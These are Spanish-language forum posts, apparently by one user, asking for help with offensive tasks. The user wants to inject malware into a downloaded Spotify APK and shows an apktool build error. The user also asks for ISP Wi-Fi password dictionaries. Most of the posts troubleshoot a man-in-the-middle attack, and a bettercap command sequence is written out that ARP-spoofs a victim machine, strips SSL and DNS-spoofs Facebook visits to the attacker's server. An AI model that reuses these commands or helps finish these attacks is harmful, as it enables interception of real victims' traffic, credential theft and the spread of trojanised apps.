Tengo la última versión de apktool. Esta a las 2.5.0

Openjdk 11.0.10

Hola estoy intentando introducir un malware en una aplicacion de spotify que tengo descargada pero al recompilar la aplicacion con apktool obtengo el siguiente error. ¿Alguien puede ayudarme?


apktool b -f originalDecompiled spotifypremium.apk                  1 ⨯
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.4.1
I: Smaling smali folder into classes.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Lcom/google/android/gms/internal/cast/zziw;->values()[Lcom/google/android/gms/internal/cast/zziw;
   at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:917)
   at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:341)
   at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:297)
   at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(SmaliBuilder.java:61)
   at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(SmaliBuilder.java:36)
   at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:418)
   at brut.androlib.Androlib.buildSources(Androlib.java:349)
   at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(Androlib.java:301)
   at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(Androlib.java:268)
   at brut.apktool.Main.cmdBuild(Main.java:251)
   at brut.apktool.Main.main(Main.java:79)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x2
   at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1190)
   at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:913)
   ... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65536
   at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
   at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
   at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1150)
   ... 11 more

Hola buenas he detectado en mi pc un virus que se llama Wolfcreek, según he investigado es el siguiente:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo que hace que inicia una infinidad de procesos svchost.exe para recopilar datos. Tengo al menos unos 50 procesos conectados a puertos distintos. Es un troyano

¿Alguien sabe como solucionarlo?

¿Sabeis algun sitio para descargar diccionarios de contraseñas Movistar, Jazztel, Mifibra, etc?

Uso la siguente linea de comandos pero no consigo que la maquina 21 me redirija a mi servidor cuando entro en facebook

set arp.spoof.targets 192.168.0.21
arp.spoof on
set net.sniff.verbose false
net.sniff on
set http.proxy.sslstrip true
http.proxy on
set No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
dns.spoof on
set http.server.path /var/www/html
http.server on

Buenas estoy probando la herramienta bettercap2. Todavia no la manejo bien me gustaria que redirigiera la maquina victima a mi servdor apache pero no se como. si alguien me hecha una mano le estaria eternamente agradecido.

He instalado bettercap 2 que trae un modulo de sslstrip y va sin problemas

tengo este error:

sao@sao-GL552JX:~$ sslstrip
/usr/local/bin/sslstrip: línea 3: sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.: orden no encontrada
/usr/local/bin/sslstrip: línea 5: __author__: orden no encontrada
/usr/local/bin/sslstrip: línea 6: __email__: orden no encontrada
/usr/local/bin/sslstrip: línea 7:
Copyright (c) 2004-2009 Moxie Marlinspike <[email protected]>

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 3 of the
License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

: No existe el archivo o el directorio
from: can't read /var/mail/twisted.web
from: can't read /var/mail/twisted.internet
from: can't read /var/mail/sslstrip.StrippingProxy
from: can't read /var/mail/sslstrip.URLMonitor
from: can't read /var/mail/sslstrip.CookieCleaner
import-im6.q16: attempt to perform an operation not allowed by the security policy `PS' @ error/constitute.c/IsCoderAuthorized/408.
/usr/local/bin/sslstrip: línea 36: gVersion: orden no encontrada
/usr/local/bin/sslstrip: línea 38: error sintáctico cerca del elemento inesperado `('
/usr/local/bin/sslstrip: línea 38: `def usage():'



Creo que voy a formatear y reinstalarlo todo

ahora llamo a python3 y sale lo siguiente

sao@sao-GL552JX:~$ sslstrip
  File "/usr/local/bin/sslstrip", line 39
    print "\nsslstrip " + gVersion + " by Moxie Marlinspike"
          ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("\nsslstrip " + gVersion + " by Moxie Marlinspike")?




la primera linea del script es
#!/usr/bin/python3

ya estoy usando python 3
sao@sao-GL552JX:/usr/bin$ ls -al /usr/bin/python
lrwxrwxrwx 1 root root 7 abr 15 12:45 /usr/bin/python -> python3

esta es mi primera linea de sslstrip:

[#!/usr/local/bin/python

creo que necesito una version menor de python
estas son las versiones que tengo:

sao@sao-GL552JX:~$ python --version
Python 2.5.6
sao@sao-GL552JX:~$ python3 --version
Python 3.8.2

el sistema esta usando python3 y yo creo que sslstrip usa alguna version de python2

sao@sao-GL552JX:/usr/local/bin$ ls -al /usr/bin/python
lrwxrwxrwx 1 root root 7 abr 15 12:45 /usr/bin/python -> python3

me da el siguiente error:

sao@sao-GL552JX:~$ sudo python -m pip install Twisted
Traceback (most recent call last):
  File "/usr/local/lib/python2.5/runpy.py", line 87, in run_module
    raise ImportError("No module named " + mod_name)
ImportError: No module named pip

He hecho lo que me has dicho y se queda en starting y de hay no pasa. No da ningun error aparente:

Listening on:
wlp4s0 -> 94:65:9C:10:CA:66
     192.168.0.16/255.255.255.0
     fe80::f023:f7cc:7b8b:e969/64

Privileges dropped to EUID 0 EGID 0...

  34 plugins
  42 protocol dissectors
  57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Starting Unified sniffing...

He seguido el tutorial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
sigue ocurriendo los mismo tanyo en navegador normal como en modo incognito
como modifico las ip tables para hacerlo?

que va pasa lo mismo:

sao@sao-GL552JX:~/Escritorio$ sudo pip3 install Twisted
[sudo] contraseña para sao:
Requirement already satisfied: Twisted in /usr/local/lib/python3.8/dist-packages (20.3.0)
Requirement already satisfied: incremental>=16.10.1 in /usr/local/lib/python3.8/dist-packages (from Twisted) (17.5.0)
Requirement already satisfied: zope.interface>=4.4.2 in /usr/local/lib/python3.8/dist-packages (from Twisted) (5.1.0)
Requirement already satisfied: Automat>=0.3.0 in /usr/local/lib/python3.8/dist-packages (from Twisted) (20.2.0)
Requirement already satisfied: PyHamcrest!=1.10.0,>=1.9.0 in /usr/local/lib/python3.8/dist-packages (from Twisted) (2.0.2)
Requirement already satisfied: constantly>=15.1 in /usr/local/lib/python3.8/dist-packages (from Twisted) (15.1.0)
Requirement already satisfied: attrs>=19.2.0 in /usr/local/lib/python3.8/dist-packages (from Twisted) (19.3.0)
Requirement already satisfied: hyperlink>=17.1.1 in /usr/local/lib/python3.8/dist-packages (from Twisted) (20.0.1)
Requirement already satisfied: setuptools in /usr/lib/python3/dist-packages (from zope.interface>=4.4.2->Twisted) (45.2.0)
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from Automat>=0.3.0->Twisted) (1.14.0)
Requirement already satisfied: idna>=2.5 in /usr/lib/python3/dist-packages (from hyperlink>=17.1.1->Twisted) (2.
sao@sao-GL552JX:~/Escritorio$ sslstrip
Traceback (most recent call last):
  File "/usr/local/bin/sslstrip", line 27, in <module>
    from twisted.web import http
ImportError: No module named twisted.web

Efectivamente la maquina victima me manda al puerto 443 y no al 80.
como puedo solucionarlo? estoy probando comandos pero no doy con el que es

he seguido este tutorial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No se si hay algun comando para redirigirlo al puerto 80

Hago lo siguiente y optengo por pantalla que esta redirecionando bien:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

el archivo hosts es:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

y la carga de pantalla en la victima es esta. Me deberia salir la pagina de apache de mi maquina atacante pero no sale:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta